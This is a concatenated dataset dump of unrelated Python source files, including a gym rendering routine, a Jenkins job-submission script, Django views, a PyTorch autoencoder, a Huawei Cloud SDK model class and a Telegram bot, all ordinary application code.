rendering.Line(start=(0.0, 0.0), end=(5*delflyWidth*0.5, 5*delflyWidth*0.866)) # line of sight\n lof.add_attr(self.delflyTrans)\n self.viewer.add_geom(lof)\n \n lof = rendering.Line(start=(0.0, 0.0), end=(-5*delflyWidth*0.5, 5*delflyWidth*0.866)) # line of sight\n lof.add_attr(self.delflyTrans)\n self.viewer.add_geom(lof)\n \n l,r,t,b = -polewidth/2,polewidth/2,polelen-polewidth/2,-polewidth/2\n set_point = rendering.FilledPolygon([(l,b), (l,t), (r,t), (r,b)])\n set_point.set_color(.8,.6,.4)\n self.set_pointtrans = rendering.Transform(translation=(0, 0))\n set_point.add_attr(self.set_pointtrans)\n self.viewer.add_geom(set_point)\n \n self.poleTrans = []\n\n if self.state is None: return None\n \n if self.poles.size > 0:\n if len(self.poleTrans) is not self.poles.size / 2:\n self.poleTrans = []\n for i in range(0,self.poles.size/2):\n pole = rendering.make_circle(appleWidth/2)\n pole.set_color(.5,.5,.8)\n self.poleTrans.append(rendering.Transform(translation=(0,0)))\n pole.add_attr(self.poleTrans[i])\n self.viewer.add_geom(pole)\n # add poles\n for i in range(0,self.poles.size/2):\n self.poleTrans[i].set_translation(self.poles[i*2]*scale, self.poles[i*2 + 1]*scale)\n self.poles = np.array([])\n return None\n\n if self.state.size < 14: return None\n\n x = self.state\n self.delflyTrans.set_translation(x[12]*scale, x[13]*scale)\n self.delflyTrans.set_rotation(x[10]-1.571428571)\n \n self.set_pointtrans.set_translation(x[12]*scale, x[13]*scale)\n self.set_pointtrans.set_rotation(x[14]-1.571428571)\n\n return self.viewer.render(return_rgb_array = mode=='rgb_array')\n","sub_path":"gym/envs/local/delfly_pole.py","file_name":"delfly_pole.py","file_ext":"py","file_size_in_byte":7437,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"496108454","text":"#!/usr/bin/env python\n# Author: Nhat Ngo (2017)\n# Nifty python program to submit job directly to Jenkins\n# \n# PREREQUISITE:\n# pip install tenacity\n# export JENKINS_USERNAME=\n# export JENKINS_TOKEN=\n\nimport os\nimport sys\nimport json\nimport tenacity\nimport argparse\nimport requests\n\nimport pprint\nfrom textwrap import dedent\n\n\ndef cli():\n \"\"\"Parse the CLI arguments\"\"\"\n \n cli_usage = \"\"\" Create tempest compute host check on Nectar Jenkins.\n PREREQUISITE:\n export JENKINS_USERNAME=\n export JENKINS_TOKEN=\n \"\"\"\n cloud_usage = \"\"\" Cloud to run tempest on: production, testing, development.\n Default to production.\"\"\"\n az_usage = \"\"\" Zone to run the the test on. See:\n https://wiki.rc.nectar.org.au/wiki/Tempest#AVAILABILITY_ZONES\n \"\"\"\n hosts_usage = \"\"\" Nova hosts to test. You can add multiple hosts. Eg: -s qh2-rcc10 -s qh2-rcc11\n Host must be in AVAILABILITY_ZONE; if not nova will return a 'No Valid Host' error.\n Leave blank to let scheduler choose a host.\n \"\"\"\n wait_usage = \"\"\" Do not wait for job to start, return the queue url immediately.\"\"\"\n debug_usage = \"\"\" Debug mode.\"\"\"\n\n parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter,\n description=cli_usage)\n parser.add_argument(\"AVAILABILITY_ZONE\", type=str, action=\"store\",\n help=dedent(az_usage))\n parser.add_argument(\"--host\", \"-s\", type=str, action=\"append\",\n help=dedent(hosts_usage))\n parser.add_argument(\"--cloud\", \"-c\", type=str, action=\"store\", default=None,\n help=dedent(cloud_usage))\n parser.add_argument(\"--nowait\", action=\"store_true\",\n help=dedent(wait_usage))\n parser.add_argument(\"--debug\", action=\"store_true\",\n help=dedent(debug_usage))\n return parser.parse_args()\n\n\ndef get_auth():\n \"\"\"Return basic HTTP token needed to for requests\"\"\"\n username = os.environ.get('JENKINS_USERNAME')\n token = os.environ.get('JENKINS_TOKEN')\n\n if username is None or token is None:\n err_msg = \"\"\" JENKINS_USERNAME/TOKEN not found. Have you set your environment?\n export JENKINS_USERNAME=\n export JENKINS_TOKEN=\n \"\"\"\n raise EnvironmentError(dedent(err_msg))\n\n if DEBUG:\n sys.stdout.write(\"Login as: %s:%s\\n\" % (username, token))\n sys.stdout.flush()\n return (username, token)\n\n\ndef compute_host_check_build(az, host=None, cloud=None):\n \"\"\"Build jenkins compute host with the describe parameters\"\"\"\n # Request.utils.quote escape the string for URL encoding\n params = [\"AVAILABILITY_ZONE=%s\" % requests.utils.quote(az)]\n if host is not None:\n params.append(\"HOST=%s\" % requests.utils.quote(host))\n if cloud is not None:\n params.append(\"CLOUD=%s\" % requests.utils.quote(cloud))\n \n url = \"%s/buildWithParameters?%s\" % (JURL, \"&\".join(params))\n \n if DEBUG:\n sys.stdout.write(\"POST to: %s\\n\" % url)\n sys.stdout.flush()\n\n # Submit the job and get the responding Jenkins queue URL from the headers\n return requests.post(url, auth=AUTH)\n\n\ndef get_queue_json(build_response):\n \"\"\"Return the queue JSON\"\"\"\n queue_url = \"%sapi/json\" % build_response.headers[\"Location\"]\n queue_response = requests.get(queue_url, auth=AUTH)\n return queue_response.json()\n\ndef compute_host_check_submitted(build_response):\n \"\"\"Print out the confirmation of the submitted jenkins.\"\"\"\n response = get_queue_json(build_response)\n queue_url = \"%sapi/json\" % build_response.headers[\"Location\"]\n \n if DEBUG:\n sys.stdout.write(\"Queue response:=======================\\n\")\n pp.pprint(response)\n sys.stdout.write(\"======================================\\n\")\n sys.stdout.flush()\n\n # Get and format the submitted parameters\n params = response[u\"params\"][response[u\"params\"].find(\"AVAILABILITY\"):]\n params = \" \".join(param.split(\"=\")[1] for param in params.split(\"\\n\"))\n result = \"%s submitted: %s\\n\" % (params, queue_url)\n \n sys.stdout.write(result)\n\n\n@tenacity.retry(wait=tenacity.wait_exponential(multiplier=1, max=15),\n stop=tenacity.stop_after_delay(600))\ndef compute_host_check_wait(build_response):\n \"\"\"\n Wait and return the job URL. Stop after 10 minutes.\n Retry exponential from 1 second up to 15 seconds then 15 seconds afterward.\n \"\"\"\n response = get_queue_json(build_response)\n\n if u\"Queue$LeftItem\" not in response[u\"_class\"]:\n err_msg = \"\"\" Waiting timeout after 600 seconds.\n Jenkins is very busy, please check API later.\n \"\"\"\n raise QueuingException(dedent(err_msg))\n \n if DEBUG:\n sys.stdout.write(\"Success response:=======================\\n\")\n pp.pprint(response)\n sys.stdout.write(\"========================================\\n\")\n sys.stdout.flush()\n\n job_url = response[u\"executable\"][u\"url\"]\n\n # Get and format the submitted parameters\n params = response[u\"params\"][response[u\"params\"].find(\"AVAILABILITY\"):]\n params = \" \".join(param.split(\"=\")[1] for param in params.split(\"\\n\"))\n \n # Result\n result = \"%s started: %s\\n\" % (params, job_url)\n \n sys.stdout.write(result)\n\nif __name__ == \"__main__\":\n \n args = cli()\n\n # Set global variables\n global DEBUG\n DEBUG = args.debug\n if DEBUG:\n global pp\n pp = pprint.PrettyPrinter(indent=2)\n\n global AUTH\n AUTH = get_auth()\n global JURL\n JURL = \"https://jenkins.rc.nectar.org.au/job/tempest-compute-host-check\"\n\n CLOUD = args.cloud\n HOSTS = args.host\n AVAILABILITY_ZONE = args.AVAILABILITY_ZONE\n WAIT = not args.nowait\n\n responses = [compute_host_check_build(AVAILABILITY_ZONE,\n host=HOST,\n cloud=CLOUD)\n for HOST in HOSTS]\n \n for resp in responses:\n if WAIT:\n try:\n compute_host_check_wait(resp)\n except QueuingException as ex:\n sys.stdout.write(\"Queue error: %s\\n\" % ex)\n sys.stdout.flush()\n compute_host_check_submitted(resp)\n else:\n compute_host_check_submitted(resp)","sub_path":"tempest_compute_check.py","file_name":"tempest_compute_check.py","file_ext":"py","file_size_in_byte":6044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"621138787","text":"from hier_config import HConfig\nfrom hier_config.host import Host\nimport yaml\n\noptions = yaml.load(open('./tests/files/test_options_ios.yml'))\nhost = Host('brborder1', 'ios', options)\n\n# Build HConfig object for the Running Config\n\nrunning_config_hier = HConfig(host=host)\nrunning_config_hier.load_from_file('./tests/files/brborder1_shrun.log')\n\n# Build Hierarchical Configuration object for the Compiled Config\n\ncompiled_config_hier = HConfig(host=host)\ncompiled_config_hier.load_from_file('./tests/files/brborder1_add.log')\n\n# Merge additional(compiled) config to running config\n\nfor child in compiled_config_hier.children:\n# print(child)\n if 'no ' in str(child):\n child_str = str(child)\n child_str = child_str.lstrip('no ')\n# print(child_str)\n running_config_hier.del_child_by_text(child_str)\n else:\n running_config_hier.add_deep_copy_del_of(child, merged=True)\n\nfor line in running_config_hier.all_children():\n print(line.cisco_style_text())\n","sub_path":"hier_config_sample.py","file_name":"hier_config_sample.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"407788711","text":"''' 1 ВАРИАНТ\nНапишем пять функций, которые рассчитывают для каждого покупателя необходимый параметр.\n\nНа вход функции получают словарь из ключей - имена покупателей, и значений — списки с суммами.\nВсе функции возвращают словарь по всем покупателям и соответствуещее значение одного из параметров:\n1. число покупок;\n2. среднюю сумму покупки;\n3. максимальную сумму покупки;\n4. минимальную сумму покупки;\n5. общую сумму всех покупок.\n'''\n\n\n# Функция подсчитывает число покупок\ndef n_sale(name):\n s = dict()\n for k in name:\n s[k] = len(name[k])\n return s\n\n\n# Функция подсчитывает среднюю сумму покупки\ndef middle_sum(name):\n s = dict()\n for i in name:\n summ = 0\n for j in range(len(name[i])):\n summ += name[i][j]\n s[i] = float('{:.2f}'.format(summ/len(name[i])))\n return s\n\n\n# Функция опрелеляет сумму максимальной покупки\ndef max_sale(name):\n s = dict()\n for i in name:\n s[i] = max(name[i])\n return s\n\n\n# Функция опрелеляет сумму минимальной покупки\ndef min_sale(name):\n s = dict()\n for i in name:\n s[i] = min(name[i])\n return s\n\n\n# Функция подсчитывает общую сумму всех покупок\ndef sum_m(name):\n s = dict()\n for i in name:\n summ = 0\n for j in range(len(name[i])):\n summ += name[i][j]\n s[i] = summ\n return s\n\n\nsale = {'Алла': [100, 22, 63, 152, 415, 78, 459, 958, 10, 63],\n 'Борис': [122, 52, 36, 256, 398, 45, 145, 147, 15],\n 'Валентин': [54, 45, 789, 369, 52, 14, 16, 35, 14, 747, 95, 8],\n 'Галина': [56, 25, 96, 357, 496, 1258, 12, 45, 65, 36, 45],\n 'Дмитрий': [145, 85, 85, 96, 45, 75, 36, 45, 75, 45, 85, 58],\n 'Дианна': [152, 875, 5, 0.96, 455, 15, 6, 75, 7, 96, 54, 123]}\n\n# Выводим результат в виде таблицы\nprint('Имя Количество Стоимость покупки')\nprint('покупателя', ' покупок', ' Средняя ', ' Максимальная', 'Минимальная ', 'Общая')\nprint('{:_^72}'.format(' 1 ВАРИАНТ с пятью функциями'))\nfor i in sale:\n print('{:<11}'.format(i), '{:<12}'.format(n_sale(sale)[i]), '{:<12}'.format(middle_sum(sale)[i]),\n '{:<12}'.format(max_sale(sale)[i]), '{:<12}'.format(min_sale(sale)[i]), '{:<12}'.format(sum_m(sale)[i]))\n\n\n''' 2 ВАРИАНТ\nНапишим одну функцию - sale_info(name), рассчитывающую для каждого покупателя следующие параметры:\n1. число покупок;\n2. среднюю сумму покупки;\n3. максимальную сумму покупки;\n4. минимальную сумму покупки;\n5. общую сумму всех покупок.\n\nНа вход функция получает словарь из ключей - имена покупателей, и значений — списки с суммами.\nФункция возвращает словарь в виде имен покупателей и списка значений по всем соответствующем параметрам\n'''\n\n\ndef sale_info(name):\n s = dict()\n for i in name:\n summ = 0\n for j in range(len(name[i])):\n summ += name[i][j]\n s[i] = [len(name[i]), float('{:.2f}'.format(summ/len(name[i]))), max(name[i]), min(name[i]), summ]\n return s\n\n\nprint('{:_^72}'.format(' 2 ВАРИАНТ с одной функцией'))\nfor i in sale:\n print('{:<11}'.format(i), end=' ')\n for j in range(len(sale_info(sale)[i])):\n print('{:<12}'.format(sale_info(sale)[i][j]), end=' ')\n print()","sub_path":"DZ_0507_sale.py","file_name":"DZ_0507_sale.py","file_ext":"py","file_size_in_byte":4308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"244728223","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torchvision.datasets as dset\nimport torchvision.transforms as transforms\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom torch.nn.parameter import Parameter\nimport torch.nn.init as init\nimport torch.nn.functional as F\nfrom torchvision.utils import make_grid\nimport matplotlib.ticker as ticker\n\n# download data\nbatch_size = 128\nimage_size = 64\n\ndataset = dset.CIFAR10(root='../../data/', download=True, train=True,\n transform=transforms.Compose([transforms.Resize(image_size),\n transforms.ToTensor()]))\n# check device is cuda\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n# show image\ndef show(img):\n npimg = img.numpy()\n ax = plt.gca()\n ax.grid(False)\n plt.imshow(np.transpose(npimg, (1,2,0)), interpolation='nearest')\n plt.axis('off')\n\n# define model\nclass ConvAutoEncoder(nn.Module):\n \n def __init__(self):\n \n super(ConvAutoEncoder, self).__init__()\n self.encoder = nn.Sequential(\n nn.Conv2d(3, 512, 4, 2, 0, bias=False), \n nn.BatchNorm2d(512),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(512, 128, 4, 2, 1, bias=False),\n nn.BatchNorm2d(128),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(128, 32, 4, 2, 1, bias=False),\n nn.BatchNorm2d(32),\n nn.LeakyReLU(0.2, inplace=True),\n nn.Conv2d(32, 8, 4, 2, 1, bias=False),\n nn.Sigmoid()\n )\n \n self.decoder = nn.Sequential(\n nn.ConvTranspose2d(8, 32, 4, 2, 0, bias=False), \n nn.BatchNorm2d(32),\n nn.LeakyReLU(0.2, inplace=True),\n nn.ConvTranspose2d(32, 128, 4, 2, 1, bias=False),\n nn.BatchNorm2d(128),\n nn.LeakyReLU(0.2, inplace=True),\n nn.ConvTranspose2d(128, 512, 4, 2, 1, bias=False),\n nn.BatchNorm2d(512),\n nn.LeakyReLU(0.2, inplace=True),\n nn.ConvTranspose2d(512, 3, 4, 2, 1, bias=False),\n nn.Sigmoid()\n )\n \n def forward(self, input):\n encoded = self.encoder(input)\n output = self.decoder(encoded)\n return output\n \n# define training method\ndef train(model, optimiser, criterion, epochs):\n losses = []\n for epoch in range(epochs):\n for idx, (data, label) in enumerate(dataloader):\n model.zero_grad()\n x = data.to(device)\n output = model(x)\n loss = criterion(output, x)\n losses.append(loss)\n loss.backward()\n optimiser.step()\n print('Done: [%d/%d][%d/%d] Loss: %.4f ' % (epoch, epochs, idx, len(dataloader), loss.item()))\n return losses\n\n# define autoencoder\ncae = ConvAutoEncoder().to(device)\n\n# define optim and criterion\noptimizer = torch.optim.Adam(cae.parameters(), lr = 0.001, weight_decay=1e-5)\ncriterion = nn.MSELoss()\n\n# train \nlosses = train(cae, optimizer, criterion, 15)\n\n# plot losses\nplt.figure()\nplt.plot(losses)\n \n","sub_path":"conv_ae.py","file_name":"conv_ae.py","file_ext":"py","file_size_in_byte":2897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"96560695","text":"import sys\n\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import user_passes_test\nfrom django.contrib.sites.models import Site\nfrom django.http import Http404\nfrom django.shortcuts import redirect, render\nfrom django.urls import reverse, reverse_lazy\nfrom django.utils.http import url_has_allowed_host_and_scheme\nfrom sfdo_template_helpers.oauth2.salesforce.views import SalesforcePermissionsError\n\nfrom config.settings.base import IP_RESTRICTED_MESSAGE\n\nGENERIC_ERROR_MSG = \"An internal error occurred while processing your request.\"\n\n\ndef custom_permission_denied_view(request, exception):\n message = GENERIC_ERROR_MSG\n if isinstance(exception, SalesforcePermissionsError):\n message = str(exception)\n\n return render(\n request,\n \"index.html\",\n context={\"JS_CONTEXT\": {\"error_message\": message}},\n status=403,\n )\n\n\ndef custom_500_view(request):\n message = GENERIC_ERROR_MSG\n value = sys.exc_info()[1]\n\n if \"ip restricted\" in value.args[0]:\n message = IP_RESTRICTED_MESSAGE\n\n return render(\n request,\n \"index.html\",\n context={\"JS_CONTEXT\": {\"error_message\": message}},\n status=500,\n )\n\n\n@user_passes_test(lambda user: user.is_superuser, login_url=reverse_lazy(\"admin:login\"))\ndef set_site(request):\n \"\"\"\n Put the selected `site_id` into the session. The ID is then used in favor of the\n current request's domain in `CurrentSiteMiddleware`.\n \"\"\"\n next_url = request.GET.get(\"next\", \"\")\n try:\n site = Site.objects.get(pk=request.GET.get(\"site_id\"))\n except (Site.DoesNotExist, ValueError):\n raise Http404(\"Couldn't find a matching site\")\n request.session[\"site_id\"] = site.id\n\n # Ensure the URL is safe\n if not url_has_allowed_host_and_scheme(next_url, settings.ALLOWED_HOSTS):\n next_url = reverse(\"admin:index\")\n\n # Don't redirect to a change view for an object that won't exist on the selected\n # site - go to its list view instead\n if next_url.endswith(\"/change/\"):\n # Remove the ID, \"/change/\" suffix, and trailing slash\n parts = next_url.split(\"/\")[:-3]\n next_url = \"/\".join(parts) + \"/\"\n\n return redirect(next_url)\n","sub_path":"metadeploy/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"351146566","text":"# coding: utf-8\n\nimport six\n\nfrom huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization\n\n\nclass ScaleScript:\n\n \"\"\"\n Attributes:\n openapi_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n sensitive_list = []\n\n openapi_types = {\n 'name': 'str',\n 'uri': 'str',\n 'parameters': 'str',\n 'nodes': 'list[str]',\n 'active_master': 'bool',\n 'fail_action': 'str',\n 'action_stage': 'str'\n }\n\n attribute_map = {\n 'name': 'name',\n 'uri': 'uri',\n 'parameters': 'parameters',\n 'nodes': 'nodes',\n 'active_master': 'active_master',\n 'fail_action': 'fail_action',\n 'action_stage': 'action_stage'\n }\n\n def __init__(self, name=None, uri=None, parameters=None, nodes=None, active_master=None, fail_action=None, action_stage=None):\n \"\"\"ScaleScript\n\n The model defined in huaweicloud sdk\n\n :param name: 弹性伸缩自定义自动化脚本的名称，同一个集群的自定义自动化脚本名称不允许相同。 只能由数字、英文字符、空格、中划线和下划线组成，且不能以空格开头。 可输入的字符串长度为1～64个字符。\n :type name: str\n :param uri: 自定义自动化脚本的路径。设置为OBS桶的路径或虚拟机本地的路径。 - OBS桶的路径：直接手动输入脚本路径。示例：obs://XXX/scale.sh - 虚拟机本地的路径：用户需要输入正确的脚本路径。脚本所在的路径必须以‘/’开头，以.sh结尾。\n :type uri: str\n :param parameters: 自定义自动化脚本参数。 多个参数间用空格隔开。 可以传入以下系统预定义参数： - ${mrs_scale_node_num}：扩缩容节点数 - ${mrs_scale_type}：扩缩容类型，扩容为scale_out，缩容为scale_in - ${mrs_scale_node_hostnames}：扩缩容的节点主机名称 - ${mrs_scale_node_ips}：扩缩容的节点IP - ${mrs_scale_rule_name}：触发扩缩容的规则名 其他用户自定义参数使用方式与普通shell脚本相同，多个参数中间用空格隔开。\n :type parameters: str\n :param nodes: 自定义自动化脚本所执行的节点组名称。\n :type nodes: list[str]\n :param active_master: 自定义自动化脚本是否只运行在主Master节点上。 缺省值为false，表示自定义自动化脚本可运行在所有Master节点上。\n :type active_master: bool\n :param fail_action: 自自定义自动化脚本执行失败后，是否继续执行后续脚本和创建集群。 说明： - 建议您在调试阶段设置为“continue”，无论此自定义自动化脚本是否执行成功，则集群都能继续安装和启动。 - 由于缩容成功无法回滚，因此缩容后执行的脚本“fail_action”必须设置为“continue”。 枚举值： - continue：继续执行后续脚本。 - errorout：终止操作。\n :type fail_action: str\n :param action_stage: 脚本执行时机。 枚举值： - before_scale_out：扩容前 - before_scale_in：缩容前 - after_scale_out：扩容后 - after_scale_in：缩容后\n :type action_stage: str\n \"\"\"\n \n \n\n self._name = None\n self._uri = None\n self._parameters = None\n self._nodes = None\n self._active_master = None\n self._fail_action = None\n self._action_stage = None\n self.discriminator = None\n\n self.name = name\n self.uri = uri\n if parameters is not None:\n self.parameters = parameters\n self.nodes = nodes\n if active_master is not None:\n self.active_master = active_master\n self.fail_action = fail_action\n self.action_stage = action_stage\n\n @property\n def name(self):\n \"\"\"Gets the name of this ScaleScript.\n\n 弹性伸缩自定义自动化脚本的名称，同一个集群的自定义自动化脚本名称不允许相同。 只能由数字、英文字符、空格、中划线和下划线组成，且不能以空格开头。 可输入的字符串长度为1～64个字符。\n\n :return: The name of this ScaleScript.\n :rtype: str\n \"\"\"\n return self._name\n\n @name.setter\n def name(self, name):\n \"\"\"Sets the name of this ScaleScript.\n\n 弹性伸缩自定义自动化脚本的名称，同一个集群的自定义自动化脚本名称不允许相同。 只能由数字、英文字符、空格、中划线和下划线组成，且不能以空格开头。 可输入的字符串长度为1～64个字符。\n\n :param name: The name of this ScaleScript.\n :type name: str\n \"\"\"\n self._name = name\n\n @property\n def uri(self):\n \"\"\"Gets the uri of this ScaleScript.\n\n 自定义自动化脚本的路径。设置为OBS桶的路径或虚拟机本地的路径。 - OBS桶的路径：直接手动输入脚本路径。示例：obs://XXX/scale.sh - 虚拟机本地的路径：用户需要输入正确的脚本路径。脚本所在的路径必须以‘/’开头，以.sh结尾。\n\n :return: The uri of this ScaleScript.\n :rtype: str\n \"\"\"\n return self._uri\n\n @uri.setter\n def uri(self, uri):\n \"\"\"Sets the uri of this ScaleScript.\n\n 自定义自动化脚本的路径。设置为OBS桶的路径或虚拟机本地的路径。 - OBS桶的路径：直接手动输入脚本路径。示例：obs://XXX/scale.sh - 虚拟机本地的路径：用户需要输入正确的脚本路径。脚本所在的路径必须以‘/’开头，以.sh结尾。\n\n :param uri: The uri of this ScaleScript.\n :type uri: str\n \"\"\"\n self._uri = uri\n\n @property\n def parameters(self):\n \"\"\"Gets the parameters of this ScaleScript.\n\n 自定义自动化脚本参数。 多个参数间用空格隔开。 可以传入以下系统预定义参数： - ${mrs_scale_node_num}：扩缩容节点数 - ${mrs_scale_type}：扩缩容类型，扩容为scale_out，缩容为scale_in - ${mrs_scale_node_hostnames}：扩缩容的节点主机名称 - ${mrs_scale_node_ips}：扩缩容的节点IP - ${mrs_scale_rule_name}：触发扩缩容的规则名 其他用户自定义参数使用方式与普通shell脚本相同，多个参数中间用空格隔开。\n\n :return: The parameters of this ScaleScript.\n :rtype: str\n \"\"\"\n return self._parameters\n\n @parameters.setter\n def parameters(self, parameters):\n \"\"\"Sets the parameters of this ScaleScript.\n\n 自定义自动化脚本参数。 多个参数间用空格隔开。 可以传入以下系统预定义参数： - ${mrs_scale_node_num}：扩缩容节点数 - ${mrs_scale_type}：扩缩容类型，扩容为scale_out，缩容为scale_in - ${mrs_scale_node_hostnames}：扩缩容的节点主机名称 - ${mrs_scale_node_ips}：扩缩容的节点IP - ${mrs_scale_rule_name}：触发扩缩容的规则名 其他用户自定义参数使用方式与普通shell脚本相同，多个参数中间用空格隔开。\n\n :param parameters: The parameters of this ScaleScript.\n :type parameters: str\n \"\"\"\n self._parameters = parameters\n\n @property\n def nodes(self):\n \"\"\"Gets the nodes of this ScaleScript.\n\n 自定义自动化脚本所执行的节点组名称。\n\n :return: The nodes of this ScaleScript.\n :rtype: list[str]\n \"\"\"\n return self._nodes\n\n @nodes.setter\n def nodes(self, nodes):\n \"\"\"Sets the nodes of this ScaleScript.\n\n 自定义自动化脚本所执行的节点组名称。\n\n :param nodes: The nodes of this ScaleScript.\n :type nodes: list[str]\n \"\"\"\n self._nodes = nodes\n\n @property\n def active_master(self):\n \"\"\"Gets the active_master of this ScaleScript.\n\n 自定义自动化脚本是否只运行在主Master节点上。 缺省值为false，表示自定义自动化脚本可运行在所有Master节点上。\n\n :return: The active_master of this ScaleScript.\n :rtype: bool\n \"\"\"\n return self._active_master\n\n @active_master.setter\n def active_master(self, active_master):\n \"\"\"Sets the active_master of this ScaleScript.\n\n 自定义自动化脚本是否只运行在主Master节点上。 缺省值为false，表示自定义自动化脚本可运行在所有Master节点上。\n\n :param active_master: The active_master of this ScaleScript.\n :type active_master: bool\n \"\"\"\n self._active_master = active_master\n\n @property\n def fail_action(self):\n \"\"\"Gets the fail_action of this ScaleScript.\n\n 自自定义自动化脚本执行失败后，是否继续执行后续脚本和创建集群。 说明： - 建议您在调试阶段设置为“continue”，无论此自定义自动化脚本是否执行成功，则集群都能继续安装和启动。 - 由于缩容成功无法回滚，因此缩容后执行的脚本“fail_action”必须设置为“continue”。 枚举值： - continue：继续执行后续脚本。 - errorout：终止操作。\n\n :return: The fail_action of this ScaleScript.\n :rtype: str\n \"\"\"\n return self._fail_action\n\n @fail_action.setter\n def fail_action(self, fail_action):\n \"\"\"Sets the fail_action of this ScaleScript.\n\n 自自定义自动化脚本执行失败后，是否继续执行后续脚本和创建集群。 说明： - 建议您在调试阶段设置为“continue”，无论此自定义自动化脚本是否执行成功，则集群都能继续安装和启动。 - 由于缩容成功无法回滚，因此缩容后执行的脚本“fail_action”必须设置为“continue”。 枚举值： - continue：继续执行后续脚本。 - errorout：终止操作。\n\n :param fail_action: The fail_action of this ScaleScript.\n :type fail_action: str\n \"\"\"\n self._fail_action = fail_action\n\n @property\n def action_stage(self):\n \"\"\"Gets the action_stage of this ScaleScript.\n\n 脚本执行时机。 枚举值： - before_scale_out：扩容前 - before_scale_in：缩容前 - after_scale_out：扩容后 - after_scale_in：缩容后\n\n :return: The action_stage of this ScaleScript.\n :rtype: str\n \"\"\"\n return self._action_stage\n\n @action_stage.setter\n def action_stage(self, action_stage):\n \"\"\"Sets the action_stage of this ScaleScript.\n\n 脚本执行时机。 枚举值： - before_scale_out：扩容前 - before_scale_in：缩容前 - after_scale_out：扩容后 - after_scale_in：缩容后\n\n :param action_stage: The action_stage of this ScaleScript.\n :type action_stage: str\n \"\"\"\n self._action_stage = action_stage\n\n def to_dict(self):\n \"\"\"Returns the model properties as a dict\"\"\"\n result = {}\n\n for attr, _ in six.iteritems(self.openapi_types):\n value = getattr(self, attr)\n if isinstance(value, list):\n result[attr] = list(map(\n lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n value\n ))\n elif hasattr(value, \"to_dict\"):\n result[attr] = value.to_dict()\n elif isinstance(value, dict):\n result[attr] = dict(map(\n lambda item: (item[0], item[1].to_dict())\n if hasattr(item[1], \"to_dict\") else item,\n value.items()\n ))\n else:\n if attr in self.sensitive_list:\n result[attr] = \"****\"\n else:\n result[attr] = value\n\n return result\n\n def to_str(self):\n \"\"\"Returns the string representation of the model\"\"\"\n import simplejson as json\n if six.PY2:\n import sys\n reload(sys)\n sys.setdefaultencoding(\"utf-8\")\n return json.dumps(sanitize_for_serialization(self), ensure_ascii=False)\n\n def __repr__(self):\n \"\"\"For `print`\"\"\"\n return self.to_str()\n\n def __eq__(self, other):\n \"\"\"Returns true if both objects are equal\"\"\"\n if not isinstance(other, ScaleScript):\n return False\n\n return self.__dict__ == other.__dict__\n\n def __ne__(self, other):\n \"\"\"Returns true if both objects are not equal\"\"\"\n return not self == other\n","sub_path":"huaweicloud-sdk-mrs/huaweicloudsdkmrs/v2/model/scale_script.py","file_name":"scale_script.py","file_ext":"py","file_size_in_byte":12650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"42015197","text":"from flask import Flask, request\nimport telegram\nfrom telebot.credentials import bot_token, bot_user_name, URL\nimport re\n\nglobal bot\nglobal TOKEN\nTOKEN = bot_token\nbot = telegram.Bot(token=TOKEN)\n\napp = Flask(__name__)\n\n@app.route('/{}'.format(TOKEN), methods=['POST'])\ndef respond():\n update = telegram.Update.de_json(request.get_json(force=True), bot)\n chat_id = update.message.chat.id\n msg_id = update.message.message_id\n text = update.message.text.encode('utf-8').decode()\n print(\"got text message:\", text)\n\n if text == \"/start\":\n bot_welcome = \"\"\"\n Welcome to CoolAvatar bot, the is using the service from \n http://avatars.adorable.io/ to generate cool looking avatars based on the \n name you enter so please enter a name and the bot will reply\n with an avatar for your name.\n \"\"\"\n bot.sendMessage(chat_id = chat_id, text=bot_welcome, reply_to_message_id=msg_id)\n else:\n try:\n text = re.sub(r\"\\W\", \"_\", text)\n url = \"https://api.adorable.io/avatars/285/{}.png\".format(text.strip())\n bot.sendPhoto(chat_id=chat_id, photo=url, reply_to_message_id = msg_id)\n except Exception:\n bot.sendMessage(chat_id=chat_id, text=\"There was a problem with the name, try again\", reply_to_message_id=msg_id)\n \n return 'ok'\n\n@app.route('/set_webhook', methods=['GET', 'POST'])\ndef set_webhook():\n s = bot.setWebhook('{URL}{HOOK}'.format(URL=URL, HOOK=TOKEN))\n if s:\n return \"webhook setup ok\"\n else:\n return \"webhook setup failed\"\n\n@app.route('/')\ndef index():\n return '.'\n\nif __name__ == '__main__':\n app.run(threaded=True)\n\n","sub_path":"telebot/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"491748474","text":"\n# coding: utf-8\n\n# In[ ]:\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nplt.style.use('ggplot')\n\npddata=pd.read_csv('Nile.csv')\nprint(pddata.iloc[:,1].head())\npddata.plot(figsize=(12,4))\nplt.show()\ndata=np.array(pddata.iloc[:,1])\n\n\n# ### 非線形・非ガウス状態空間モデル\n# $\n# \\begin{align}\n# x_{t}&=f_{t}(x_{t-1},\\upsilon_{t})\\\\\n# y_{t}&=h_{t}(x_{t},\\omega_{t})\n# \\end{align}\n# $\n\n# In[ ]:\n\nclass 